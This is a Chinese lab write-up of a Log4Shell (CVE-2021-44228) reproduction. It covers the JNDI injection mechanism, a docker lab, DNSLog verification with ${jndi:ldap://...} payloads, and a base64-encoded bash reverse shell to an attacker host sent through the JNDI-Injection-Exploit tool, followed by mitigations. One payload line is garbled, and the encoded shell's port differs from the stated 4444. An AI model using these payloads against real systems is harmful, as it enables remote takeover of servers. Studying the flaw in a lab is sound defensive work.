【漏洞复现】2.Apache Log4j2远程代码执行漏洞(CVE-2021-44228)复现及分析
文章目录
- 1. 预备知识
- 2. 漏洞复现
- 2.1 漏洞介绍
- 2.2 漏洞原理分析
- 2.2.1 Log4j介绍
- 2.2.2 JNDI介绍
- 2.2.3 利用原理
- 2.3 漏洞复现
- 2.3.1 使用docker搭建复现环境
- 2.3.2 DNSLog验证
- 2.3.3 JNDI注入反弹shell
- 2.4 漏洞修复
- 2.4.1修改log4j2版本
- 2.4.2 临时解决方案
1. 预备知识
Apache是一个广泛使用的开源软件基金会,该基金会维护和开发了许多中间件组件,这些组件在构建和管理Web应用程序方面非常有用。以下是Apache中间件的一些常见组件及其功能的介绍:
- Apache HTTP Server:Apache HTTP Server是世界上最流行的Web服务器之一。它是一个可靠、灵活且高性能的服务器软件,可用于托管和提供Web内容。Apache HTTP Server支持各种功能,如虚拟主机配置、模块扩展和安全性配置,可满足不同类型的Web应用程序的需求。
- Apache Tomcat:Apache Tomcat是一个开源的Java Servlet容器,用于托管和运行Java Web应用程序。它实现了Java Servlet和JavaServer Pages(JSP)规范,并提供了一个可靠的、高性能的Web应用程序运行环境。Tomcat支持多线程处理、会话管理和安全性配置,是许多Java Web应用程序的首选容器。
- Apache Kafka:Apache Kafka是一个高性能的分布式消息队列系统。它被设计用于处理大规模的实时数据流,并具有持久性、可扩展性和容错性等特点。Kafka可用于构建高吞吐量的数据管道、实时流处理应用程序和事件驱动的架构。
- Apache ZooKeeper:Apache ZooKeeper是一个开源的分布式协调服务,用于管理和维护分布式应用程序的配置信息、命名服务和分布式锁等。ZooKeeper提供了高可用性、一致性和可靠性的服务,使分布式应用程序可以协调和同步各个节点之间的操作。
- Apache ActiveMQ:Apache ActiveMQ是一个功能强大的开源消息中间件,实现了Java Message Service(JMS)规范。它支持可靠的消息传递、发布/订阅模式和点对点通信,可用于构建可靠的异步通信系统和消息驱动的应用程序。
Apache中间件的优势在于其广泛的社区支持、稳定性和可扩展性。这些中间件组件提供了丰富的功能和灵活的配置选项,使开发者能够构建可靠、高性能和可扩展的Web应用程序。同时,Apache中间件的文档资源丰富,有大量的示例和教程可供参考,使开发者能够更加轻松地使用和部署这些中间件。
2. 漏洞复现
2.1 漏洞介绍
Apache 是当今世界上非常流行的跨平台Web服务端,有着良好的扩充性。而Log4j则是Apache的开源组件,用于日志管理,功能强大。Log4j来源于 Apache 软件基金会的日志服务项目,是一种Java日志框架,从最初Log4j1发展到现在的Log4j2,已经广泛应用于各行各业的业务开发。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
攻击利用Log4j 2中Java JNDI注入漏洞,向服务器发送攻击数据包,当服务器在将数据写入日志时,就会触发远程执行。此方法被国外研究员称为Log4Shell,该漏洞目前已经影响了Apache多项组件,如ApacheSolr、Apache Struts2、Apache Druid、Apache Flink等。根据 漏洞排查结果,已确认服务器容易受到 Log4Shell 攻击的公司包括 Apple、Amazon、Twitter、Cloudflare、Steam、国内互联网、游戏公司、电商等。据统计,共有6921个应用使用了Log4j2组件,其中存储:ES、虚拟化:VMware、游戏:我的世界、安全工具:Ghidra均明确受到该漏洞影响。
远程代码执行攻击指的是攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
漏洞名称 | Log4j2远程代码执行漏洞 |
---|---|
漏洞编号 | CVE-2021-44228 |
危害等级 | 高危 |
CVSS评分 | 10 |
漏洞厂商 | Apache |
受影响版本 | Apache Log4j 2.x <= 2.14.1目前已知如下组件存在漏洞Spring-Boot-strater-log4j2/Apache Struts2/Apache Solr/Apache Flink/Apache Druid/ElasticSearc/Flume/Dubbo/Redis/Logstash/Kafka/vmvare |
2.2 漏洞原理分析
2.2.1 Log4j介绍
log4j2是apache下的java应用常见的开源日志库,是一个Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。
2.2.2 JNDI介绍
JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。
2.2.3 利用原理
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
画个简单点的漏洞利用示意图,如下:
- 当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
- 假如日志中含有该语句${jndi:ldap:X.X.X.X:1099/shell},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:X.X.X.X:1099/shell
- 解析到ldap,就会去X.X.X.X:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找
- 在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
- 攻击者就可以通过shell实现任意的命令执行,造成严重危害
2.3 漏洞复现
2.3.1 使用docker搭建复现环境
使用vulfocus提供的镜像容器对靶场进行搭建:
docker pull vulfocus/log4j2-rce-2021-12-09:latest
sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
浏览器访问http://192.168.71.128,部署成功
2.3.2 DNSLog验证
首先对网页进行抓包,看是否存在注入点,配置好端口后进行抓包。可以看到数据包内容如下:
注入位置在/hello目录下的一个payload位置,并且是get提交的数据,直接访问问号并抓包,就可以在改payload位置注入exp。
DNSLog在web漏洞中是常见的使用方法, 在某些无法直接利用漏洞获得回显的情况下, 但目标可以发起DNS请求, 这个时候就可以通过这种方式把想获得的数据外带出来。
将其发送到Repeater进行修改重放,通过DNSLog平台https://dig.pm获取到域名949cc308.ipv6.1433.eu.org.
构造payload: j n d i : l d a p : / / 949 c c 308. i p v 6.1433. e u . o r g ,浏览器点击 ? ? ? ? ? 并使用 B u r p s u i t e 进行抓包并替换 p a y l o a d 参数。其中 {jndi:ldap://949cc308.ipv6.1433.eu.org},浏览器点击?????并使用Burpsuite进行抓包并替换payload参数。其中 jndi:ldap://949cc308.ipv6.1433.eu.org,浏览器点击?????并使用Burpsuite进行抓包并替换payload参数。其中{jndi:ldap://XXX}是jndi注入,XXX是一个域名,其中本实验中是我们申请的免费域名。
此时若直接发包会导致服务器400错误:
通过Burpsuite自带的编码工具对其进行URL编码:
编码后再次发送请求包,此时请求成功:
在DNSLog网站成功接收到解析记录:
2.3.3 JNDI注入反弹shell
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用,下载地址https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0。这是一个JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可以用于Fastjson、Jackson等相关漏洞利用。
根据工具说明,采用如下命令对其进行利用:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中[-C] [command]为反弹shell指令,此处kali的ip为192.168.71.128,port可使用任意未被占用的端口,故任意指定为4444:
bash -i >& /dev/tcp/192.168.71.128/4444 0>&1
将此条命令进行Base 64编码,使用的是BurpSuite的Decoder模块,得到加密后的:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcxLjEyOC82NjY2IDA+JjE=
随后将加密后的shell命令通过-C参数输入JNDI工具,通过-A参数指定kali的ip地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcxLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.71.128
开启新的窗口监听4444端口
替换工具生成的payload:rmi://192.168.71.128:1099/mrflzc 到Burpsuite,其中生成的链接后面的codebaseClass是6位随机的,因为不希望工具生成的链接本身成为一种特征呗监控或拦截。服务器地址实际上就是codebase地址,相比于marshalsec中的JNDI server来说,这个工具把JNDI server和HTTP server绑定到一起,并自动启动HTTPserver返回相应class,更自动化了。HTTP server基于jetty实现的,本质上是一个能下载文件的servlet,比较有意思的是我提前编译好class模板放到resource目录,然后servlet会读取class文件,使用ASM框架对读取的字节码进行修改,然后插入我们想要执行的命令,返回修改后的字节码:
仍然注意要将payload进行编码:
可以看到Kali监听端成功获取到相关信息:
2.4 漏洞修复
2.4.1修改log4j2版本
据 Apache 官方最新信息显示,release 页面上已经更新了 Log4j 2.15.0 版本,主要是那个log4j-core包,漏洞就是在这个包里产生的,如果你的程序有用到,尽快紧急升级。
2.4.2 临时解决方案
- 设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”
- 设置“log4j2.formatMsgNoLookups=True”
- 系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
- 关闭对应应用的网络外连,禁止主动外连